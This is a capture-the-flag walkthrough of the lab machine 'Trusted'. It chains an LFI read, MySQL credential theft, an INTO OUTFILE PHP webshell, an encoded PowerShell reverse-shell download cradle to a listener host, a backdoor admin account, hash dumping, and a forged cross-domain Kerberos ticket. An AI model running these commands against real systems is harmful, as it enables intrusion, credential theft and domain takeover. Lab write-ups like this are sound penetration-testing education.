Trusted is an easy difficulty machine where I leveraged several techniques to exploit vulnerabilities and escalate privileges. After performing an Nmap scan and directory brute-forcing, I discovered user names and hidden directories on the web server. Using a Local File Inclusion (LFI) vulnerability, I accessed sensitive files to obtain MySQL credentials and performed SQL injection to plant a webshell for remote command execution. I created an administrative user, dumped all machine hashes, and exploited the bidirectional trust relationship between domains to escalate privileges on TrustedDC. Finally, I bypassed file encryption to access the root flag, demonstrating a thorough approach to system compromise.

Enumeration

I start with a Nmap scan to check open ports as usual for both of the IP addresses.

Lab.Trusted.vl

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PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus          
80/tcp    open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| http-title: Welcome to XAMPP       
|_Requested resource was http://10.10.154.22/dashboard/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-09 17:22:36Z)     
135/tcp   open  msrpc         Microsoft Windows RPC    
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)   
443/tcp   open  ssl/http      Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time     
| http-title: Welcome to XAMPP       
|_Requested resource was https://10.10.154.22/dashboard/   
| ssl-cert: Subject: commonName=localhost 
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp   open  microsoft-ds?        
464/tcp   open  kpasswd5?            
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0   
636/tcp   open  tcpwrapped           
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)   
3269/tcp  open  tcpwrapped           
3306/tcp  open  mysql         MySQL 5.5.5-10.4.24-MariaDB  
| mysql-info:        
|   Protocol: 10     
|   Version: 5.5.5-10.4.24-MariaDB   
|   Thread ID: 10    
|   Capabilities flags: 63486        
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, LongColumnFlag, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, SupportsCompression, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ODBCClient, Interact
iveClient, FoundRows, ConnectWithDatabase, IgnoreSigpipes, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit  
|   Salt: T.'u>sKY]I3cz]CtC/`u       
|_  Auth Plugin Name: mysql_native_password            
3389/tcp  open  ms-wbt-server Microsoft Terminal Services  
| ssl-cert: Subject: commonName=labdc.lab.trusted.vl   
| Not valid before: 2024-06-08T17:00:42
|_Not valid after:  2024-12-08T17:00:42
| rdp-ntlm-info:     
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB         
|   NetBIOS_Computer_Name: LABDC     
|   DNS_Domain_Name: lab.trusted.vl  
|   DNS_Computer_Name: labdc.lab.trusted.vl            
|   DNS_Tree_Name: trusted.vl        
|   Product_Version: 10.0.20348      
|_  System_Time: 2024-06-09T17:24:17+00:00
|_ssl-date: 2024-06-09T17:24:35+00:00; -1s from scanner time.       
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0            
9389/tcp  open  mc-nmf        .NET Message Framing

TrustedDC.Trusted.vl

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PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Simple DNS Plus
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-09 17:22:30Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)  
445/tcp   open     microsoft-ds?        
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped           
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)  
3269/tcp  open     tcpwrapped           
3389/tcp  open     ms-wbt-server Microsoft Terminal Services   
| ssl-cert: Subject: commonName=trusteddc.trusted.vl  
| Not valid before: 2024-06-08T17:00:41 
|_Not valid after:  2024-12-08T17:00:41 
| rdp-ntlm-info:
|   Target_Name: TRUSTED    
|   NetBIOS_Domain_Name: TRUSTED        
|   NetBIOS_Computer_Name: TRUSTEDDC    
|   DNS_Domain_Name: trusted.vl         
|   DNS_Computer_Name: trusteddc.trusted.vl      
|   Product_Version: 10.0.20348         
|_  System_Time: 2024-06-09T17:24:17+00:00       
|_ssl-date: 2024-06-09T17:24:35+00:00; -1s from scanner time.  
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)           
|_http-title: Not Found     
|_http-server-header: Microsoft-HTTPAPI/2.0      
9389/tcp  open     mc-nmf        .NET Message Framing 
10444/tcp filtered unknown  
11116/tcp filtered unknown  
47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)           
|_http-title: Not Found     
|_http-server-header: Microsoft-HTTPAPI/2.0

Lab.trusted.vl has an XAMPP default page which also shows other technologies running on the server.

Next, I started Directory brute-forcing to check the potential hidden directories.

dirsearch -u http://lab.trusted.vl -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 20 -f -e php,txt,html,aspx,pdf

In the result, I Found /dev and after visiting the directory it looks like it’s a Family Law Firm I could Identify 2 users Eric and Jack from Dev comments left on the website.

LFI PHP Wrapper

When I explored contact I found a view parameter. I started Responder and tried to connect to my local machine to get NTLMv2 hash. But I couldn’t crack the hash.

After that, I hosted a webshell on my local machine and tried to execute commands by connecting to my server using the parameter. But I never got any connection back.

Next, I tried LFI to read files in the machine. But it was only confirming that the file exist but didn’t show anything. So I used a PHP wrapper to convert the output in base64 and the content. I tried to read know log path for XAMPP.

http://10.10.152.246/dev/index.html?view=php://filter/read=convert.base64-encode/resource=C:/xampp/apache/logs/access.log

After decoding the base64 string I checked the output and found db.php.

I used the same php wrapper to see db.php file and after decoding I got the credential for MySQL server.
mysql -u root -p '<REDACTED>' -h 10.10.152.246


MySql Injection RCE

After looking around I found some credentials in 2 databases and I was able to crack only the password Robert using crackstation.

User 

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MariaDB [mysql]> select * from user;                                                                                                                                                                                                           
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
| Host      | User | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_>
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
| localhost | root | <REDACTED> | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y     >
| %         | root | <REDACTED> | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y     >
| 127.0.0.1 | root |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y     >
| ::1       | root |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y     >
| localhost | pma  |                                           | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N     >
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+-------

News

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MariaDB [news]> select * from users;                                                                                                                                                                                                              
+----+------------+--------------+-----------+----------------------------------+                                                                                                                                                                 
| id | first_name | short_handle | last_name | password                         |                                                                                                                                                                 
+----+------------+--------------+-----------+----------------------------------+                                                                                                                                                                 
|  1 | Robert     | rsmith       | Smith     | <REDACTED> |                                                                                                                                                                 
|  2 | Eric       | ewalters     | Walters   | <REDACTED> |                                                                                                                                                                 
|  3 | Christine  | cpowers      | Powers    | <REDACTED> |                                                                                                                                                                 
+----+------------+--------------+-----------+----------------------------------+                                                                                                                                                                 
3 rows in set (0.128 sec)

Next, I checked if I had the write privilege on the server. If ‘secure_file_priv’ is empty that means I have both read and write privileges.

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MariaDB [news]> show variables like "secure_file_priv";                                                                                                                                                                                           
+------------------+-------+                                                                                                                                                                                                                      
| Variable_name    | Value |                                                                                                                                                                                                                      
+------------------+-------+                                                                                                                                                                                                                      
| secure_file_priv |       |                                                                                                                                                                                                                      
+------------------+-------+                                                                                                                                                                                                                      
1 row in set (0.131 sec)

Now that I have confirmed that I have write permission, I created a webshell in the root directory of the website. Now I can use the webshell to execute commands on the machine.

SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/dev/webshell.php';

I used Nishang to get a reverse shell to my local machine.

Invoke-PowerShellTcp.ps1

Add the reverse shell to the last line.
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.8.2.110 -Port 4444" >> Invoke-PowerShellTCP.ps1

Make the target to get the payload from my machine and execute it.
echo "IEX (New-Object Net.webclient).downloadString('http://10.8.2.110/Invoke-PowerShellTCP.ps1')" | iconv -t utf-16le | base64 -w 0; echo

http://10.10.152.246/dev/webshell.php?cmd=powershell -ep bypass -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AOAAuADIALgAxADEAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAEMAUAAuAHAAcwAxACcAKQAKAA==

Got trolled by r0BIT. I got the flag under Administrator.

Credential Hunting

There are other users in the system and as an administrator, I tried to dump all the passwords and hashes. I tried to use Mimikatz but it didn’t dump the credentials for some reason.

I created a new account with administrator privilege and used Secrectsdump to get all the hashes of the machine.

net user dave2 password123! /add
net localgroup administrators dave2 /add
secretsdump.py [email protected]


Now I can use the administrator hash to login to the machine later.

Trust Attack

After Enumerating the domain I found there is BiDirectional trust between LabDC and TrustedDC. This means If I’m an administrator in Lab Domain I can execute commands on the TrustedDC Domain. To exploit this I need 3 things.

  • KRBTGT NTLM hash
  • SID of Lab.Trusted.vl
  • SID of TrustedDC.Trusted.vl

I have already got KRBTGT hash from the previous hash dump. I got both SIDs with Mimikatz.

.\mimikatz.exe "lsadump::trust /patch" "exit"

  • KBRTGT → c7a03c565c68c6<…SNIP…>

  • Lab.Trusted.VL → S-1-5-21-2241985869-2159962460-1278545866

  • Trusted.VL → S-1-5-21-3576695518-347000760-3731839591

Now I used Impacket to request TGT for Administrator of TrustedDC as LabDC.

ticketer.py -nthash <REDACTED> -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -domain lab.trusted.vl Administrator

Now using this ticket I can login to TrustedDC but I can’t read the flag because of permission.

KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass lab.trusted.vl/[email protected] -target-ip 10.10.232.245

I used Secretsdump to dump all the hashes for TrustedDC and used Evil-winrm to login But still, I can’t see the flag.

Encrypted Flag

I checked for encrypted files in the system and It shows root.txt is encrypted.

I used RUNasCs to bypass the encryption and read the flag.